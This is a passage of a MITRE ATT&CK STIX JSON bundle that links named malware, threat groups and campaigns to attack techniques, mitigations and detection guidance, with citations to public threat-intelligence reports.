2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0439c736-6a78-4e89-9c55-6cc565b1b11f","type":"relationship","created":"2019-01-30T20:01:45.509Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Oceanlotus May 2017","url":"https://www.cybereason.com/blog/operation-cobalt-kitty-apt","description":"Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018."},{"source_name":"Cybereason Cobalt Kitty 2017","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"}],"modified":"2019-04-24T20:56:04.676Z","description":"[Denis](https://attack.mitre.org/software/S0354) has a command to delete files from the victim’s machine.(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--043ea873-396a-4ba8-a3e3-1f9af11c986e","created":"2023-01-05T18:53:03.497Z","revoked":false,"external_references":[{"source_name":"Google Iran Threats October 2021","description":"Bash, A. (2021, October 14). Countering threats from Iran. Retrieved January 4, 2023.","url":"https://blog.google/threat-analysis-group/countering-threats-iran/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-05T18:53:03.497Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has used the Telegram API `sendMessage` to relay data on compromised devices.(Citation: Google Iran Threats October 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--04427a61-cef7-4197-9ff4-cb36c6a1895e","created":"2023-09-27T14:43:34.122Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Ukraine15 - EISAC - 201603","description":"Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.","url":"https://nsarchive.gwu.edu/sites/default/files/documents/3891751/SANS-and-Electricity-Information-Sharing-and.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T17:03:24.256Z","description":"During the [2015 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0028), [Sandworm Team](https://attack.mitre.org/groups/G0034) obtained their initial foothold into many IT systems using Microsoft Office attachments delivered through phishing emails. (Citation: Ukraine15 - EISAC - 201603)","relationship_type":"uses","source_ref":"campaign--46421788-b6e1-4256-b351-f8beffd1afba","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--044576aa-2ec0-4f88-9cb9-ec6817dda514","created":"2022-08-26T21:25:54.232Z","x_mitre_version":"0.1","external_references":[{"source_name":"ZScaler Squirrelwaffle Sep 2021","url":"https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike","description":"Kumar, A., Stone-Gross, Brett. (2021, September 28). Squirrelwaffle: New Loader Delivering Cobalt Strike. Retrieved August 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Squirrelwaffle](https://attack.mitre.org/software/S1030) can collect the user name from a compromised host.(Citation: ZScaler Squirrelwaffle Sep 2021)","modified":"2022-08-26T21:25:54.232Z","relationship_type":"uses","source_ref":"malware--3c18ad16-9eaf-4649-984e-68551bff0d47","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0446f0ed-4214-4294-ba65-962b4fe08b08","created":"2024-10-17T15:34:52.491Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-17T15:34:52.491Z","description":"Audit user accounts to ensure that each one has a defined purpose.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0449ef6d-2ea2-40a3-9cc9-c07672d6a859","created":"2020-05-14T22:29:26.041Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Sharpshooter December 2018","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T19:51:55.310Z","description":"[Rising Sun](https://attack.mitre.org/software/S0448) can delete files and artifacts it creates.(Citation: McAfee Sharpshooter December 2018)\t","relationship_type":"uses","source_ref":"malware--56e6b6c2-e573-4969-8bab-783205cebbbf","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--044a6e2a-df26-49aa-a485-304740fadd49","created":"2023-01-17T22:14:02.773Z","revoked":false,"external_references":[{"source_name":"Cisco Talos Avos Jun 2022","description":"Venere, G. Neal, C. (2022, June 21). Avos ransomware group expands with new attack arsenal. Retrieved January 11, 2023.","url":"https://blog.talosintelligence.com/avoslocker-new-arsenal/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-17T22:14:02.773Z","description":"(Citation: Cisco Talos Avos Jun 2022)","relationship_type":"uses","source_ref":"campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30","target_ref":"tool--11f8d7eb-1927-4806-9267-3a11d4d4d6be","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--044ad6d3-9389-4764-9b96-ad53dc98840d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Invincea XTunnel","description":"Belcher, P.. (2016, July 28). Tunnel of Gov: DNC Hack and the Russian XTunnel. Retrieved August 3, 2016.","url":"https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/"}],"modified":"2019-04-19T18:36:31.943Z","description":"[XTunnel](https://attack.mitre.org/software/S0117) is capable of accessing locally stored passwords on victims.(Citation: Invincea XTunnel)","relationship_type":"uses","source_ref":"malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--044afcd4-997f-4069-8600-a45bff6616c5","created":"2022-08-08T20:29:15.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft POLONIUM June 2022","description":"Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022.","url":"https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T18:50:54.074Z","description":"[CreepyDrive](https://attack.mitre.org/software/S1023) can use HTTPS for C2 using the Microsoft Graph API.(Citation: Microsoft POLONIUM June 2022)","relationship_type":"uses","source_ref":"malware--750eb92a-7fdf-451e-9592-1d42357018f1","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--044e6bdf-a7d1-4f70-8591-193ad4fab387","created":"2023-09-13T18:55:35.415Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Proofpoint TA2541 February 2022","description":"Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.","url":"https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"},{"source_name":"Morphisec Snip3 May 2021","description":"Lorber, N. (2021, May 7). Revealing the Snip3 Crypter, a Highly Evasive RAT Loader. Retrieved September 13, 2023.","url":"https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-15T20:14:04.207Z","description":"(Citation: Proofpoint TA2541 February 2022)(Citation: Morphisec Snip3 May 2021)","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"malware--4327aff5-f194-440c-b499-4d9730cc1eab","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--044fa087-7d5a-474c-b074-e519f429a458","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T18:58:46.801Z","description":"Monitor for the loading of unusual modules or DLLs into processes. Specifically focus on modules that are not typically loaded or associated with IPC mechanisms.\n\nAnalytic 1 - Unrecognized DLLs.\n\n sourcetype=Sysmon EventCode=7\n| search module_path != \"/usr/lib/*\" OR module_path != \"/windows/system32/*\" OR module_path != \"/lib/*\"\n| stats count by module_path process_name user\n| where module_path IN (\"suspicious_modules.dll\", \"unknown.so\")","relationship_type":"detects","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--04558d61-aa04-46b5-a65f-921011ac9621","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/","description":"Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.","source_name":"Unit 42 C0d0so0 Jan 2016"}],"modified":"2019-04-25T11:39:52.147Z","description":"An [APT19](https://attack.mitre.org/groups/G0073) HTTP malware variant establishes persistence by setting the Registry key HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Windows Debug Tools-%LOCALAPPDATA%\\.(Citation: Unit 42 C0d0so0 Jan 2016)","relationship_type":"uses","source_ref":"intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--045da2d4-f599-447b-931b-c11e8692fa1c","type":"relationship","created":"2021-02-16T20:13:27.797Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 BendyBear Feb 2021","url":"https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/","description":"Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021."}],"modified":"2021-04-20T19:17:58.037Z","description":"[BendyBear](https://attack.mitre.org/software/S0574) has decrypted function blocks using a XOR key during runtime to evade detection.(Citation: Unit42 BendyBear Feb 2021)","relationship_type":"uses","source_ref":"malware--805480f1-6caa-4a67-8ca9-b2b39650d986","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--04610729-6f83-48d4-9f5b-1c1c4a39df3a","created":"2023-10-12T20:39:39.658Z","revoked":false,"external_references":[{"source_name":"Unit42 OceanLotus 2017","description":"Erye Hernandez and Danny Tsechansky. (2017, June 22). The New and Improved macOS Backdoor from OceanLotus. Retrieved September 8, 2023.","url":"https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-12T20:39:39.658Z","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has used a custom binary protocol over port 443 for C2 traffic.(Citation: Unit42 OceanLotus 2017)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--046310ee-386b-4ed6-a623-6436341b8b8c","created":"2022-10-11T19:20:27.044Z","revoked":false,"external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T19:20:27.044Z","description":"[Moses Staff](https://attack.mitre.org/groups/G1009) has used batch scripts that can enable SMB on a compromised host.(Citation: Checkpoint MosesStaff Nov 2021)","relationship_type":"uses","source_ref":"intrusion-set--4c4a7846-45d5-4761-8eea-725fa989914c","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0465632c-6db3-41ed-acc8-b0f60cc99330","created":"2022-09-29T20:27:18.969Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T20:27:18.969Z","description":"(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"campaign--4603cf2f-06d0-4970-9c5d-5071b08c817f","target_ref":"malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0465916e-9561-4518-b2fa-09be21bc04e1","type":"relationship","created":"2020-09-29T18:40:02.430Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA WellMail July 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c","description":"CISA. (2020, July 16). MAR-10296782-3.v1 – WELLMAIL. Retrieved September 29, 2020."},{"source_name":"NCSC APT29 July 2020","url":"https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf","description":"National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."},{"source_name":"Cybersecurity Advisory SVR TTP May 2021","url":"https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf","description":"NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021."}],"modified":"2021-07-30T18:28:13.040Z","description":"(Citation: CISA WellMail July 2020)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--959f3b19-2dc8-48d5-8942-c66813a5101a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--046716ed-d9ea-4416-a3a6-2dfa87584ce4","type":"relationship","created":"2021-06-30T16:13:40.464Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Chaes Nov 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf","description":"Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}],"modified":"2021-06-30T16:13:40.464Z","description":"[Chaes](https://attack.mitre.org/software/S0631) has used .MSI files as an initial way to start the infection chain.(Citation: Cybereason Chaes Nov 2020)","relationship_type":"uses","source_ref":"malware--77e0ecf7-ca91-4c06-8012-8e728986a87a","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--046c954e-eaf9-4634-b55d-c8e7061d1ad2","type":"relationship","created":"2022-03-30T14:26:51.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.867Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts or uncommon data flows. Consider analyzing packet contents to detect application layer protocols, leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows(e.g. snmp traffic originating from unauthorized or untrusted hosts, signature detection for strings mapped to device configuration(s), and anomolies in snmp request(s))","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--046d418d-ffcc-4939-87ce-09cfc2885a5a","type":"relationship","created":"2019-04-23T15:30:03.156Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","source_name":"FireEye Periscope March 2018"}],"modified":"2020-03-11T17:06:10.233Z","description":"[China Chopper](https://attack.mitre.org/software/S0020)'s server component can perform brute force password guessing against authentication portals.(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70","target_ref":"attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0471088d-7b45-4fec-8946-ae5bf463286b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Gamaredon Feb 2017","description":"Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"},{"source_name":"Unit 42 Gamaredon February 2022","url":"https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/","description":"Unit 42. (2022, February 3). Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022."}],"modified":"2022-02-21T16:24:52.524Z","description":"[Pteranodon](https://attack.mitre.org/software/S0147) can capture screenshots at a configurable interval.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: Unit 42 Gamaredon February 2022)","relationship_type":"uses","source_ref":"malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--04724f1d-f6ff-448e-bcac-4bcda34d895b","created":"2023-09-25T12:41:50.804Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-25T12:41:50.804Z","description":"Limit the number of cloud accounts and services with permission to query the secrets manager to only those required. Ensure that accounts and services with permissions to query the secrets manager only have access to the secrets they require.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--cfb525cc-5494-401d-a82b-2539ca46a561","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0473a627-abe8-4cfe-9574-a15c1c33da29","created":"2022-09-27T18:19:01.025Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T18:19:01.025Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used [BloodHound](https://attack.mitre.org/software/S0521) discover trust between domains.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"tool--066b057c-944e-4cfc-b654-e3dfba04b926","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0476f265-c79a-4ff7-a4cd-815d304818c6","created":"2023-02-14T21:44:04.240Z","revoked":false,"external_references":[{"source_name":"Trend Micro Black Basta October 2022","description":"Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.","url":"https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-14T21:44:04.240Z","description":"[QakBot](https://attack.mitre.org/software/S0650) has placed its payload in hidden subdirectories.(Citation: Trend Micro Black Basta October 2022)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--04791b5e-1795-4a1c-a10d-71f919fc420e","created":"2023-03-17T15:57:46.896Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T15:42:18.626Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) deployed malware designed not to run on computers set to Korean, Japanese, or Chinese in Windows language preferences.(Citation: ClearSky Lazarus Aug 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--047e6dc3-d213-4d97-8573-9c8da28a0742","type":"relationship","created":"2019-06-20T14:46:03.518Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-26T16:13:21.451Z","description":"Map the trusts within existing domains/forests and keep trust relationships to a minimum.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--04801477-23b8-48d2-9c72-71a69bde06cc","created":"2024-09-09T14:42:37.818Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-09T14:42:37.818Z","description":"Monitor for newly executed child 